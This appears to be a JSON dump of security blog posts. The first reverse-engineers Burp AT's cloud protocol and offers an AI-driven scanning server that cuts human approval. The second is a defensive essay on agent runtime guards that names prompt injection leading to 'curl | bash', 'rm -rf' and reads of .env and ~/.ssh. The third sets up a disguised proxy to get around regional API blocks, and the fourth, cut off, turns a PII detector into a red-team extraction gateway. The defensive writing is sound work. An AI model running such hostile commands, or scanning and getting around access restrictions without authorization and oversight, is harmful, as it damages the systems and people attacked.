[{"content":" I opened up Burp AT\u0026rsquo;s jar looking for one thing: where does it hide the GPT client?\nAfter a thorough search, the answer was — nowhere, because it doesn\u0026rsquo;t exist.\nA Burp that can chat and autonomously run scans, yet it has no complete chat client running locally. That alone tells you something. After going through the entire jar, it clicked: the thing running locally is just a pair of hands. The brain calling the shots lives on PortSwigger\u0026rsquo;s cloud.\nThis post is about those hands — and how to give them a different brain. The conclusion first: Burp AT proves that \u0026ldquo;penetration testing can be handed to AI\u0026rdquo; is the right direction, but it locks the model in the cloud, doesn\u0026rsquo;t fit production environments, and creates approval fatigue. I analyzed its protocol, followed the official front door, and built an open-source burp-mcp-server — putting Burp\u0026rsquo;s hands back in your Agent\u0026rsquo;s control. No more waiting for approval on your next move.\nFirst, What Exactly Is Burp AT? Figure · Burp AT official product page (PortSwigger)\nIf you haven\u0026rsquo;t used Burp AT, here\u0026rsquo;s the one-sentence version: it\u0026rsquo;s PortSwigger\u0026rsquo;s official AI-powered automation capability for Burp Suite Pro (website) — you give it a target, and it crawls, sends requests, runs audits, and files findings on its own. It\u0026rsquo;s like having an intern who never sleeps, clicking through Burp for you.\nUnder the hood, it does three things:\nWraps Burp\u0026rsquo;s core capabilities (sending requests, reading history, scanning, Collaborator, Intruder\u0026hellip;) into dozens of atomic tools that AI can call like functions; Adds a task engine to manage those jobs: scans are asynchronous, with queuing, status polling, deduplication, and timeout convergence — not just blocking on a single return; Layers a conversation interface on top, so you describe what you want in plain language, and it orchestrates the tools behind the scenes. The results can be genuinely impressive — drop in a target and it finds injection points on its own, faster than clicking through manually. That\u0026rsquo;s exactly why I say \u0026ldquo;handing penetration testing to AI\u0026rdquo; is the right direction.\nBut \u0026ldquo;sometimes impressive\u0026rdquo; and \u0026ldquo;production-ready\u0026rdquo; are two different things. That\u0026rsquo;s what we\u0026rsquo;re about to unpack.\nHands Are Local, the Brain Is in the Cloud Let\u0026rsquo;s establish a shared vocabulary first — everything that follows hangs on this:\nHands (capability): Burp\u0026rsquo;s local tool runtime — sending requests, reading history, scanning, feeding Intruder, Collaborator. Brain (orchestrator): The component that decides which tool to call next, how to interpret results, when to escalate — i.e., the model plus the Agent loop. Protocol: How the two sides talk (standard MCP, or AT\u0026rsquo;s own BurpAI envelope). So in the default configuration, Burp AT is a private Agent in the cloud, using its model to drive Burp\u0026rsquo;s local capabilities (the hands). When evaluating any \u0026ldquo;AI × security tool\u0026rdquo; product, start by drawing this picture: who is the Client, who is the Server, where does the model run — that matters far more than which base model they\u0026rsquo;re using.\nSWAPPABLE External Agent / Model orchestration · reasoning · strategy Claude Code · custom framework · cloud tools/call PROTOCOL MCP Server standard MCP or BurpAI envelope CAPABILITY Burp Workbench tool runtime local, addressable Figure 1 · Hands are local, the brain is swappable.\nThe hands haven\u0026rsquo;t moved — that\u0026rsquo;s the premise of this entire thing. The desktop tool runtime is still local; you can drive it with a different Client. The only problem is that the default Client is in the cloud, with its policies in the cloud, and you don\u0026rsquo;t control the model.\nSo why bother swapping the model?\nBecause the landscape has shifted. General-purpose models get better every year, and open-source models are thriving — the barrier to self-hosting and self-scheduling is now very low. In this environment, a security tool clinging to the \u0026ldquo;private model + cloud lock-in\u0026rdquo; model is essentially handing your data, your strategy, and your autonomy to a single vendor. Any security practitioner with ambition will want to connect their capabilities to the model of their choice: controlled model, data stays in-domain, scheduling on your own terms.\nThat\u0026rsquo;s exactly what this post sets out to solve.\nThree Paths: Front Door, Back Channel, Custom Framework PortSwigger actually ships two things, and I initially conflated them — which cost me some time:\nThe official burp-mcp: this is the MCP line. Burp listens locally (default 127.0.0.1:9876), your Agent acts as the Client, using standard MCP. This is the front door. Burp AT: a closed-loop commercial Agent product. From your perspective, it has nothing to do with MCP — you use its built-in chat interface, the model runs on PortSwigger\u0026rsquo;s cloud, and the desktop connects back through a private, authenticated envelope protocol. You wouldn\u0026rsquo;t point an MCP client at AT. The topologies are also inverted: in one, Burp is a Server waiting for connections; in the other, Burp is a Client making outbound connections. Don\u0026rsquo;t conflate them just because both involve Burp — one is an open protocol, the other is a closed product.\nThree ways to put Burp under your own Agent\u0026rsquo;s control:\nDriving Burp with your own model? Pick a topology, not an API-key box A · Front Door (Rec.) burp-mcp + Claude Code Standard MCP, your model Ready to go B · Back Channel (R\u0026amp;D) BurpAI Compatible Gateway Replace the cloud Client Protocol pitfalls ahead C · Custom (Long-term) Custom Agent + Tool adaptation Can still use burp-mcp Figure 2 · Three ways to swap models: pick a topology, not an API-key box.\nA · Front Door is my recommended default for most people: install the official mcp-server, enable the MCP tab, configure Claude Code / Desktop with SSE or a stdio proxy. The protocol is standard, the model is entirely yours, and Tools.kt is extensible. Verification is simple — tools/list from the client returns non-empty, and a single end-to-end request or proxy history read confirms it works.\nB · Back Channel is an architecture-level research project: implement a BurpAI-compatible gateway locally, point the desktop AT\u0026rsquo;s reverse MCP to you instead of ai.portswigger.net, and connect your own OpenAI-compatible endpoint or custom Agent loop behind the gateway. I\u0026rsquo;ve been down this road and it deserves a specific callout:\nPointing to localhost ≠ connected.\nI had ZL() reporting session already started — it looked like it worked. But Zy() never actually ran hub.connect() because of a gating condition — the session marker and the underlying transport were out of sync. So when debugging, only trust one thing: does your gateway log show an active GET /api/v1/mcp SSE, and has the state machine actually entered the connected state? Don\u0026rsquo;t let the UI popup fool you.\nThe minimum protocol contract for this back channel (architecture-level, no exploitation details): GET {base}/api/v1/mcp opens SSE → receive connection.accepted with mcp_connection_id → POST …/sessions/{burpai_session_id}/claim to claim → bidirectional type: mcp.message envelopes (inner payload is JSON-RPC) → handle the ~90s idle reconnect, POST 409 re-claim state machine. Common headers: Portswigger-Burp-Ai-Token, optional Bearer, Burpai-Engagement-Id, X-MCP-Connection-Id. Note: this is not bare MCP — pointing a generic MCP Client library directly at the cloud won\u0026rsquo;t work; you need to implement this authenticated envelope yourself.\nA practical reminder: the base URL\u0026rsquo;s three-tier resolution (-Dburpai.mcp.url → BURPAI_MCP_URL → regional fallback; production defaults to https://ai.portswigger.net) may have the sysprop/env read path \u0026ldquo;compiled away\u0026rdquo; in certain production builds. Whether it works depends on the jar in your hands — additional measures may be necessary.\nC · Custom Framework is the long-term form once you shed the AT shell: your own Agent + burp-mcp (or a custom Montoya adapter). The tool I\u0026rsquo;m about to introduce falls squarely on this path.\nWhat I Open-Sourced, and Where It Differs This is the section I most want to write — and the one most lacking in available materials.\nI built an open-source burp-mcp-server following the official front door — it\u0026rsquo;s a fork of PortSwigger/mcp-server, preserving the official stable tool surface while adding the spine that makes a red-team automation loop actually close. Current version 1.3.0-AT, JDK 21 build, ./gradlew embedProxyJar produces a fat JAR; pre-built packages are in Releases.\nWhy extend it? The official burp-mcp has about twenty useful tools covering the main red-team path (HTTP/1.1, HTTP/2 requests, Repeater/Intruder delivery, Proxy history, Scanner issues, Collaborator, encoding/decoding, config import/export). But AT has roughly 54 atomic tools across 12 groups — the extra ones fill two critical gaps: low-attended automated assessment and large-scale fuzzing. No scope navigation, no scan orchestration, no queryable fuzz result surface.\nMy initial plan was to match all 54 tools. After listing them out, I got realistic. No need to compete on quantity — a maintainable narrow tool surface often outperforms an unmanageable wide one. So I filled gaps by closing the loop, not by chasing numbers.\nThe extension path is straightforward: modify Tools.kt + Montoya API, treat AT\u0026rsquo;s enumeration as a gap list reference, not a runtime dependency. Unit tests ToolsKtTest pass under JDK 21 with BUILD SUCCESSFUL.\nHere\u0026rsquo;s what got added, broken down by category — which Burp capability each reuses, what the API enables, and why the original MCP couldn\u0026rsquo;t do it:\nCategory Tools \u0026amp; Details What It Means P0 · Scope include_in_scope / exclude_from_scope / is_in_scope (suite-wide) Reuses Burp\u0026rsquo;s Target Scope. The Agent can \u0026ldquo;fence off\u0026rdquo; its territory: add targets to scope, exclude noise, check if a URL is in scope. The original MCP had none of this — the Agent couldn\u0026rsquo;t enforce boundaries, leading to either over-scanning or missing targets. P0 · Site Map list_sitemap (optional urlPrefix) Reuses Burp\u0026rsquo;s Site Map, reading the discovered site structure (which paths, which requests). The original MCP had none of this — the Agent couldn\u0026rsquo;t see where it had crawled, effectively operating blind. P0 · Scan Orchestration start_crawl / start_audit (returns taskId), get_scanner_issues_for_url, list_scan_tasks / get_scan_task_status / delete_scan_task Reuses Burp\u0026rsquo;s Crawl / Active Scan. The Agent can \u0026ldquo;dispatch work\u0026rdquo;: initiate crawling and auditing, poll task progress, retrieve issues by URL. The original MCP could at most read existing issues — it could not initiate scans — the automation loop broke at the first step. P1 · History Inspection inspect_proxy_http_history_item (by index + optional regex) Reuses Burp\u0026rsquo;s Proxy History, precisely fetching a single request by index for inspection without dumping the entire history into context. The original MCP could only batch-read; zeroing in on one item meant fishing through everything. P1 · Batch Requests bulk_send_http1_requests (sequential batch) Reuses Burp\u0026rsquo;s request-sending capability, issuing a batch of requests sequentially in one call. Probing, validation, and bulk parameter testing without round-trips per request. The original MCP could only send single requests — slow and token-expensive. P1 · History Diff compare_proxy_history_items Compare two history items side by side (response differences, parameter changes). Pre-auth vs. post-auth, vulnerable vs. not — conclusions at a glance. The original MCP had no comparison; the Agent had to pull full text and compare manually, eating context. P1 · Intruder (Delivery) send_to_intruder Pushes a request into Intruder, but can\u0026rsquo;t read results back — not because I didn\u0026rsquo;t try, but because Montoya API has no complete result interface. Honestly labeled as-is. P2 · Site Map Write add_to_sitemap Write manually discovered or externally scanned results back into the Site Map, keeping Burp\u0026rsquo;s view and the Agent\u0026rsquo;s awareness in sync. The original MCP was read-only. P2 · Custom Checks import_b_check Reuses Burp\u0026rsquo;s BCheck custom scan rules, feeding project-specific checks into the Scanner. The original MCP had no interface for this — custom logic couldn\u0026rsquo;t get in. I borrowed a few of AT\u0026rsquo;s design principles — universally applicable to anyone building pentest Agents. Borrow the structure, not the trademark:\nPermission gates for dangerous operations (sending requests, scanning, deleting issues) are enforced at runtime, not through prompt-based verbal constraints; Long-running tasks like scans return handles and are pollable, rather than assuming sub-second tool results — an Agent that only waits for instant returns can\u0026rsquo;t do real penetration testing; HTTP literals from model output undergo \\r\\n normalization — never assume the model produces byte-level-valid HTTP; History and issues are paginated and truncated to protect context windows. Try It, Give Me Feedback Different people have different default actions:\nRed Team / Security Engineering: Burp + burp-mcp-server + your own Agent (Claude Code or custom). If the tools aren\u0026rsquo;t enough, extend Tools.kt following the P0/P1 priority — don\u0026rsquo;t start by chewing on obfuscated AT. Building a custom pentest framework: Prioritize standard MCP; tools carry permission and async semantics; the workbench is swappable, the model is swappable — Burp is just one workbench candidate. Still want to tinker with the AT shell: Back Channel B has architectural room, but verification only counts SSE, and production build details vary by version. This post doesn\u0026rsquo;t provide a bypass cookbook. When evaluating any AI security product, draw that \u0026ldquo;hands / brain\u0026rdquo; diagram first, then talk about model names.\nYou bought the hands, not the brain. What matters isn\u0026rsquo;t which model name is written inside Burp — it\u0026rsquo;s who has the authority to issue tools/call.\nburp-mcp-server has opened the door. Install it, connect your own model, and let me know how it goes.\nAppendix · Evidence \u0026amp; References Click to expand: analysis evidence, protocol details, and open-source index (does not affect readability of the main text) Why \u0026ldquo;the model is in the cloud\u0026rdquo;\nThe desktop jar contains no complete chat/completions client — the model was never in the desktop process. The desktop is an MCP Server + reverse SSE, not a local chat client; tools are exposed via MCP / BurpAI envelopes, and the connection between hands and brain is a protocol, not a hard link. The base URL uses three-tier container resolution; path rules: SSE/POST use {base}/api/v1/mcp, claim uses {sse}/sessions/{burpai_session_id}/claim, the Hub AccountScopedMcpSseHub handles connect / claim / reconnect / 409 re-claim / ~90s idle recycle. The official open-source standard MCP Server effectively acknowledges that \u0026ldquo;any MCP Client\u0026rdquo; can drive the same set of hands — this is the foundation that makes \u0026ldquo;external brain\u0026rdquo; viable. burp-mcp vs. Burp AT tool surface gap (by operational mode)\nMode Gap Weight Human-in-the-loop + Agent-assisted Low–Medium (main path covered; swapping your own model is often stronger) Low-attended automated assessment High (missing crawl/audit/task status/scope) Large-scale fuzzing / batch validation High (\u0026ldquo;push to Intruder\u0026rdquo; ≠ queryable result surface) Model-swapping goal Protocol \u0026amp; control \u0026gt; tool count Open-source \u0026amp; documentation index\nhi-unc1e/burp-mcp-server — the subject of this post, AT fork of the official mcp-server with P0–P2 extensions PortSwigger/mcp-server — the official front door for external Agents modelcontextprotocol.io — the MCP protocol specification ","permalink":"https://www.unc.la/en/posts/penetration/burp-at-brain-hand-open-source-mcp/","summary":"\u003cstyle\u003e\n.burp .callout{ border-left:3px solid var(--uncle-blue,#2457d6); background:var(--uncle-soft-blue,#e9efff); padding:10px 14px; margin:16px 0; border-radius:0 4px 4px 0; font-size:.96em; }\n.burp svg{ max-width:100%; height:auto; border-radius:6px; margin:14px 0; }\n.burp img{ max-width:100%; height:auto; border-radius:6px; margin:14px 0; }\n.burp .cap{ font-size:.86em; color:var(--secondary,#657086); margin:-6px 0 18px; }\n\u003c/style\u003e\n\u003cdiv class=\"burp\"\u003e\n\u003cp\u003eI opened up Burp AT\u0026rsquo;s jar looking for one thing: where does it hide the GPT client?\u003c/p\u003e\n\u003cp\u003eAfter a thorough search, the answer was — nowhere, because it doesn\u0026rsquo;t exist.\u003c/p\u003e","title":"You Bought the Hands, Not the Brain: After Analyzing Burp AT, I Built an Open-Source Burp MCP"},{"content":"Lately I\u0026rsquo;ve been doing more and more AI red teaming: half the time thinking about how to attack Agents, and the other half thinking about:\nonce the attacks are done, what should real-world defense actually look like?\nI\u0026rsquo;ve written a local-first Agent Runtime Guard (ARG) myself, and I\u0026rsquo;ve also taken apart Microsoft\u0026rsquo;s newly open-sourced Agent Governance Toolkit (AGT). After taking both apart, the conclusion is actually quite clear:\nAgent runtime protection is, in essence, the \u0026ldquo;firewall\u0026rdquo; of the LLM era. Whenever I mention \u0026ldquo;firewall\u0026rdquo;—a word that has been beaten to death—I want to laugh. Still, this is decidedly not another layer of prompt rhetoric, nor is it old IAM renamed. What it intercepts is the segment where \u0026ldquo;the model\u0026rsquo;s intent has already formed, but the side effects haven\u0026rsquo;t happened yet\u0026rdquo;—the command hasn\u0026rsquo;t been exec\u0026rsquo;d, the keys haven\u0026rsquo;t been read, the email hasn\u0026rsquo;t been sent, no HTTP has left the network.\nThe diagram below shows the spot we need to watch: not what the LLM says internally, but the tool call it is about to make.\nflowchart LR U[\u0026#34;User Prompt\u0026#34;] --\u0026gt; LLM[\u0026#34;LLM Sampling\u0026#34;] LLM --\u0026gt; TC{\u0026#34;Tool call?\u0026#34;} TC --\u0026gt;|intent| G[\u0026#34;🛡 Guard\u0026lt;br\u0026gt;Rules + Policy\u0026lt;br\u0026gt;Code has the final say\u0026#34;] G --\u0026gt;|allow| EXE[\u0026#34;Real side effects\u0026lt;br\u0026gt;shell / files / network\u0026#34;] G --\u0026gt;|deny| DROP[\u0026#34;Action stops here\u0026#34;] TC -.no side effects.-\u0026gt; RESP[\u0026#34;Reply to user directly\u0026#34;] style G fill:#1f6feb,stroke:#58a6ff,color:#fff style EXE fill:#238636,stroke:#3fb950,color:#fff style DROP fill:#da3633,stroke:#f85149,color:#fff A conservative estimate: this will be the most valuable category of security problems for the next few years. Not because the concept is new, but because Agents are turning \u0026ldquo;what was said\u0026rdquo; into \u0026ldquo;what was done,\u0026rdquo; while most of our existing security stack still lives in the request-response era.\nWhy the model can\u0026rsquo;t protect itself Microsoft put it bluntly in the AGT README: prompt-level security is not a control surface—it\u0026rsquo;s just a polite remark made to a stochastic system. It improves UX, but barely moves security ROI. OWASP LLM01 also states it plainly: there is no silver bullet for prompt injection. The red teaming numbers they cite are even more direct: under adaptive attacks, ASR can reach 100%.\nIn plain words: you can\u0026rsquo;t let a reckless intern be their own police officer.\nLLM generation is, at its core, sampling.\nToday it follows the rules; tomorrow, with a different context, a different suffix optimization, or a second-order injection hidden in a web page, it may turn summarize this article into curl | bash.\nExpecting a system prompt or \u0026ldquo;please ignore malicious instructions\u0026rdquo; to block this kind of thing is like handing a job that must be reliable to a component that rolls the dice through sampling.\nSo the shared move across existing frameworks is really the same thing—move \u0026ldquo;uncertainty\u0026rdquo; out of the model and turn it into a decidable, deterministic mechanism:\nExtract actions out of natural language into structure: tool name, args, resource, actor, session. Describe allows and denials with semantic-layer rules (YAML / JSON / Rego / Cedar). Block them dead with code before side effects happen—allow / deny / alert / require_approval, not \u0026ldquo;model, think it over again.\u0026rdquo; AGT\u0026rsquo;s original words: an action rejected by the policy kernel is not \u0026ldquo;unlikely to happen,\u0026rdquo; but structurally impossible. ARG doesn\u0026rsquo;t shout a slogan that heavy, but the path is the same: context → action → object → decision, where rules only produce recommendations and the policy layer decides whether to enforce.\nTo put it bluntly: you can\u0026rsquo;t count on the model for this—whether it\u0026rsquo;s reliable depends entirely on whether the layer of code around it is hard enough.\nTwo integration routes, and they are not the same cost of retrofit When you land this, you\u0026rsquo;ll keep running into one design choice: where to hang the Guard. Conclusion first, then the details.\nTool Call Wrapper LLM Security Gateway Where it intercepts In-process, before tool execution Unified entry point of the model call chain Context Most complete (prompt + args + local machine state) Weaker (typically prompt/API; local side effects invisible) Intrusiveness High (every tool/framework/client needs adaptation) Low (base URL change / SDK-init-level change) Endpoint coverage Strong (can still intercept in YOLO mode) Weak (dangerous actions may bypass the gateway) Retrofit surface Grows exponentially with language/framework count, case by case Centralized, easy to standardize My positioning The last mile at the action layer The default shape of the enterprise backbone 1. Tool Call Wrapper The typical form is a single line:\nsafe_tool = govern(my_tool, policy=\u0026#34;policy.yaml\u0026#34;) Or hook a PreToolUse Hook on endpoint runtimes like Claude Code / Cursor; or in Electron products, funnel all shell / file / network operations into a Tool Broker in the Main Process, then into the Guard.\nIts confidence comes from full context: who, intent, tool args, conversation history—all inside the process. Things that proxies and eBPF can\u0026rsquo;t fully capture are naturally available here. It enables intent-action consistency checking: the user says \u0026ldquo;summarize the article,\u0026rdquo; but the model wants rm -rf—at the dispatch point this is visible at a glance. The real risk surface of endpoint Agents (reading/writing local files, running commands, installing dependencies, poking around ~/.ssh) should be gated exactly here.\nThe cost is also right there: high intrusiveness. Every tool, every framework, every client needs an adapter; miss one run_command that goes straight to the raw executor, and the entire rule set is decoration. In multi-language, multi-framework scenarios the retrofit surface grows exponentially—AGT piling up 5-language SDKs and roughly 20 framework adapters is precisely paying this bill.\n2. LLM Security Gateway To put it plainly, this is installing a \u0026ldquo;unified checkpoint\u0026rdquo; for all LLM traffic. No matter which Agent, application, or tenant sends it—as long as it wants to call a model, go outbound, or cross tenants—it all squeezes through this one gate first: check policy, record audit, de-sensitize, rate-limit, and only then let it through downstream.\nflowchart LR A1[\u0026#34;Agent / App A\u0026#34;] --\u0026gt; GW A2[\u0026#34;Agent / App B\u0026#34;] --\u0026gt; GW GW[\u0026#34;LLM Security Gateway\u0026#34;] GW --\u0026gt; LLM[\u0026#34;LLM Providers\u0026lt;br\u0026gt;OpenAI / Anthropic / ...\u0026#34;] GW --\u0026gt; TOOL[\u0026#34;Outbound Tools / MCP\u0026#34;] GW --\u0026gt; BIZ[\u0026#34;Internal Business APIs\u0026#34;] style GW fill:#1f6feb,stroke:#58a6ff,color:#fff In to-B business this thing sells well, because it looks like the API gateway / zero-trust entry everyone already has—organizations have muscle memory for it: business teams barely change code, at most swapping a base URL; policies, auditing, and tenant boundaries can be operated centrally in one place, and both procurement and ops recognize it.\nBut the gateway is no silver bullet. It can usually see prompts and API calls, but not necessarily the local shell, local files, MCP subprocesses, or that real exec inside Electron. Under endpoint YOLO mode (bypassPermissions / dontAsk), dangerous actions may never pass through your central gateway at all. There\u0026rsquo;s also an old problem—a centralized failure becomes downtime for everyone, which directly fights against \u0026ldquo;security components must not be a SPOF.\u0026rdquo;\nSo I\u0026rsquo;ll just state my judgment:\nIn the medium-to-long term, the LLM security gateway is the best default form at enterprise scale—low retrofit cost, clear operational surface, suited to standardization.\nBut the real side effects of endpoint Agents still need the Tool Call / Hook / Tool Broker layer as a backstop. The gateway governs the \u0026ldquo;model boundary\u0026rdquo;; the wrapper governs the \u0026ldquo;action boundary.\u0026rdquo; The two are not an either-or choice—they are a division of labor over different blast radii.\nARG prioritizes endpoint Hooks and the Tool Broker, not because the gateway doesn\u0026rsquo;t matter, but because npm install on a developer\u0026rsquo;s machine, reading .env, or hitting the metadata endpoint can often slip around central policy. AGT leans more toward enterprise application middleware: govern(), policy engine, identity, Merkle auditing, sandboxing—a whole set of \u0026ldquo;structurally impossible to do evil.\u0026rdquo;\nSame layer of problem, two product philosophies. Both are right—it depends which layer you\u0026rsquo;re on.\nFor enterprise rollout, the technical route isn\u0026rsquo;t the first priority Engineers can argue for a long time about which is more elegant technically. But in production rollout, what kills a proposal first is usually not false negatives—it\u0026rsquo;s noise and experience.\nWhen I previously did security evangelism on the R\u0026amp;D side of SDL, I summarized a discipline that leaves almost no room for negotiation:\nExperience first, correctness second. Only when developers are willing to use it do the rules earn the right to get stricter. There must be a degradation path. dry-run, observe, one-click rollback. (The security Guard itself crashes and takes the business down with it?) High TP, high precision, zero noise is the top priority. TP here isn\u0026rsquo;t a throughput slogan—it\u0026rsquo;s the credibility of true positives: what\u0026rsquo;s blocked is real risk, not scolding everyday development. (Five minutes writing code, half an hour dealing with code alerts?) Prove it first, then roll out. Manually verify every hit in 1–2 repos; if precision doesn\u0026rsquo;t meet the bar, no org-wide enforce. ARG bakes this into product behavior: detection and enforcement are decoupled; observe by default; --observe gives one-click global rollback; allowlists degrade per rule/app/environment; fail-open—on rule exceptions or timeouts, allow through and record it. AGT takes the opposite road: fail-closed, treating policy exceptions as deny; its ADR even states in black and white that there is no fail-open switch—sexy on strongly compliant, strongly isolated server sides, but on endpoint developer machines it easily pushes people to uninstall the Guard.\nAnd after uninstalling? Running naked. Worse than \u0026ldquo;a pure observe mode with the occasional false positive.\u0026rdquo;\nSo for enterprise rollout, I recommend fixing the order like this—no skipping steps:\nflowchart LR A[\u0026#34;Observability\u0026lt;br\u0026gt;get tracing running first\u0026#34;] --\u0026gt; B[\u0026#34;Low-friction nudges\u0026lt;br\u0026gt;observe / alert\u0026#34;] B --\u0026gt; C[\u0026#34;False positives flow back into rules\u0026lt;br\u0026gt;precision rises\u0026#34;] C --\u0026gt; D[\u0026#34;Deny only high-confidence actions\u0026#34;] D --\u0026gt; E[\u0026#34;Only then discuss\u0026lt;br\u0026gt;full-chain enforce / gateway default-deny\u0026#34;] style A fill:#1f6feb,stroke:#58a6ff,color:#fff style B fill:#1f6feb,stroke:#58a6ff,color:#fff style D fill:#da3633,stroke:#f85149,color:#fff style E fill:#da3633,stroke:#f85149,color:#fff Put plainly, one sentence: without high precision, there is no right to enforce. If the security team goes fail-closed and blocks everything from day one, it looks brave—but three weeks later, all that\u0026rsquo;s left is bypasses and complaint tickets.\nA few things I confirmed from the two implementations The control plane sits before side effects, not inside the prompt Whether AGT\u0026rsquo;s govern() or ARG\u0026rsquo;s PreToolUse / Tool Broker, the checkpoint is the same: the model has decided to call a tool, but the tool hasn\u0026rsquo;t produced real impact yet. Second-order prompt injection especially: instructions hidden in product details, web pages, emails, and attachments must ultimately land as a tool call. Shouting \u0026ldquo;please ignore\u0026rdquo; in the prompt is useless; making one decision in front of the dispatcher works.\nPolicy as code exists to turn uncertainty into something testable JSON/YAML rules, hot reloading, bench replay of labeled samples, precision/recall/latency—these look unglamorous, but they\u0026rsquo;re the only things that can enter an enterprise change process. Model output isn\u0026rsquo;t reproducible; rule hits are. Only what\u0026rsquo;s reproducible can be audited, can be canary-rolled, and lets you point at a false positive and say \u0026ldquo;it\u0026rsquo;s this rule_id acting up.\u0026rdquo;\nTracing-first is often worth more than \u0026ldquo;block first, ask later\u0026rdquo; Many incidents aren\u0026rsquo;t \u0026ldquo;we failed to block\u0026rdquo; but \u0026ldquo;we can\u0026rsquo;t explain who did it, in what context.\u0026rdquo; A trace_id stringing together context → action → object → decision supports incident response and postmortems far better than a cold deny log. ARG treats this as the first principle; AGT uses a Merkle chain and signed TRACE, turning audit into verifiable evidence. Different depths, same direction: without an execution chain, runtime protection is just a black-box switch.\nThe philosophical split is worth keeping—no need to force unification ARG Route AGT Route Default posture fail-open, observe first fail-closed, deny by default Deployment focus Endpoint, zero-dependency, local closed loop Enterprise multi-language, identity, sandbox, compliance mapping Selling point Gradual rollout without downtime Structurally impossible to do evil Risk False-negative window False positives forcing abandonment I lean toward ARG\u0026rsquo;s side for endpoints and early rollout—security components must not be a single point of failure. For strongly isolated production Agents and highly compliant tenants, AGT\u0026rsquo;s fail-closed + identity + audit chain holds up better. The common correct answer in enterprises is actually layering: gateways and critical production chains lean strict, while developer machines and pilot phases lean observational.\nSo what would you do If you\u0026rsquo;re building an Agent product or an enterprise Agent platform, three things rank highest in priority:\nFirst converge actions into an interceptable boundary. Don\u0026rsquo;t let model output go straight into raw shell / file / network executors. Without a unified dispatcher, every policy afterward is theater. Split rules from enforcement. Rules recommend; policy decides whether to enforce; it must support dry-run, must be able to quantify precision, must be able to degrade with one click. Choose the integration form by scenario, not by slogan. For unified enterprise entry points, prioritize the LLM security gateway; for endpoint local Agents, Electron tools, and YOLO mode, honestly do Tool Call wrapping or Hooks. The gateway is the future backbone; the wrapper is the last mile at the action layer. Will Agent runtime protection get talked to death in the short term? Yes. Does that make it unimportant? No.\nThe firewall back then didn\u0026rsquo;t win because \u0026ldquo;the concept was elegant\u0026rdquo;—it won because traffic was no longer under the application\u0026rsquo;s own control, and a gate capable of blocking had to grow at the boundary. Today\u0026rsquo;s Agents have simply pushed the boundary from IP/port to the tool call and the model gateway.\nThe gate will grow out of these two layers. Those who acknowledge this early pay a bit less tuition.\nAppendix: Two Expandable Technical Walkthroughs The main text only covers judgments. If you want to check against implementation details, the two standalone HTML files below can be expanded for preview inline, or opened as full pages on their own.\nAppendix A · Microsoft AGT Standalone page: Open the AGT walkthrough Contents: the govern() interception point, fail-closed, policy/identity/sandbox/audit, OWASP mapping and boundaries Expand on this page · AGT walkthrough (loads the full HTML; if heavy, use the link above) Appendix B · Self-built ARG Standalone page: Open the ARG walkthrough Contents: event chain, fail-open gradual rollout, rule/policy decoupling, endpoint Hook / Tool Broker, and comparison with AGT Expand on this page · ARG walkthrough (loads the full HTML; if heavy, use the link above) ","permalink":"https://www.unc.la/en/posts/penetration/agents-next-problem-is-action-boundary/","summary":"\u003cp\u003eLately I\u0026rsquo;ve been doing more and more AI red teaming: half the time thinking about how to attack Agents, and the other half thinking about:\u003c/p\u003e\n\u003cp\u003eonce the attacks are done, what should real-world defense actually look like?\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve written a local-first Agent Runtime Guard (ARG) myself, and I\u0026rsquo;ve also taken apart Microsoft\u0026rsquo;s newly open-sourced Agent Governance Toolkit (AGT). After taking both apart, the conclusion is actually quite clear:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAgent runtime protection is, in essence, the \u0026ldquo;firewall\u0026rdquo; of the LLM era\u003c/strong\u003e. Whenever I mention \u0026ldquo;firewall\u0026rdquo;—a word that has been beaten to death—I want to laugh. Still, this is decidedly not another layer of prompt rhetoric, nor is it old IAM renamed. What it intercepts is the segment where \u0026ldquo;the model\u0026rsquo;s intent has already formed, but the side effects haven\u0026rsquo;t happened yet\u0026rdquo;—the command hasn\u0026rsquo;t been exec\u0026rsquo;d, the keys haven\u0026rsquo;t been read, the email hasn\u0026rsquo;t been sent, no HTTP has left the network.\u003c/p\u003e","title":"Agents Can Now Take Action—Security Can't Stay in the Conversation: Runtime Design at the Action Boundary"},{"content":"Reverse-proxy the OpenRouter AI API through an overseas server to work around regional access restrictions.\nBackground (SCQA) S - Situation\nOverseas AI services (image generation, chat, etc.) are typically accessed through aggregator platforms like OpenRouter that offer a unified API, compatible with the OpenAI SDK.\nC - Complication\nThese services impose access restrictions on mainland China — if the requesting source IP is identified as originating from within China, service is refused outright.\nQ - Question\nHow can you access the OpenRouter API normally from within China, without exposing the existence of the proxy service?\nA - Answer\nDeploy an Nginx reverse proxy on a US server so that all requests are made from an overseas IP. Access it via the custom domain openrouter.ai.XXX: the root path returns a decoy page, and only the /api/v1 path provides the proxy service.\nDeployment https://github.com/hi-unc1e/reverse_openrouter\ndocker build -t openrouter-proxy . docker run -d -p 80:80 --restart unless-stopped openrouter-proxy Usage Just change the API address to the proxy domain; the API key stays the same:\niOS: Kelivo — in settings, enter the custom API address https://openrouter.ai.XXX/api/v1 and your OpenRouter API key Android: Rikka Hub (not configured yet) Code calls work the same way:\nclient = OpenAI( base_url=\u0026#34;https://openrouter.ai.XXX/api/v1\u0026#34;, api_key=\u0026#34;\u0026lt;YOUR_OPENROUTER_KEY\u0026gt;\u0026#34;, ) Final result, 🐶\n","permalink":"https://www.unc.la/en/posts/penetration/iy7k17ehlduoblsm/","summary":"\u003cp\u003eReverse-proxy the OpenRouter AI API through an overseas server to work around regional access restrictions.\u003c/p\u003e\n\u003ch2 id=\"background-scqa\"\u003eBackground (SCQA)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eS - Situation\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eOverseas AI services (image generation, chat, etc.) are typically accessed through aggregator platforms like OpenRouter that offer a unified API, compatible with the OpenAI SDK.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eC - Complication\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThese services impose access restrictions on mainland China — if the requesting source IP is identified as originating from within China, service is refused outright.\u003c/p\u003e","title":"Reverse OpenRouter"},{"content":"\nRed team security tooling — rebuilding OpenAI\u0026rsquo;s Privacy Filter into an HTTP gateway for structured PII\nextraction\nOpenAI open-sourced a small model called Privacy Filter that can identify PII such as names, emails, phone numbers, and addresses from unstructured text.\nI spent one evening turning it into an HTTP gateway service, running on an NVIDIA L20, with dual-process inference peaking at 81 RPS and GPU utilization pushed to 98%.\nThis post documents the entire research process: from the original project to a production-grade gateway, what pitfalls I hit along the way, and where the 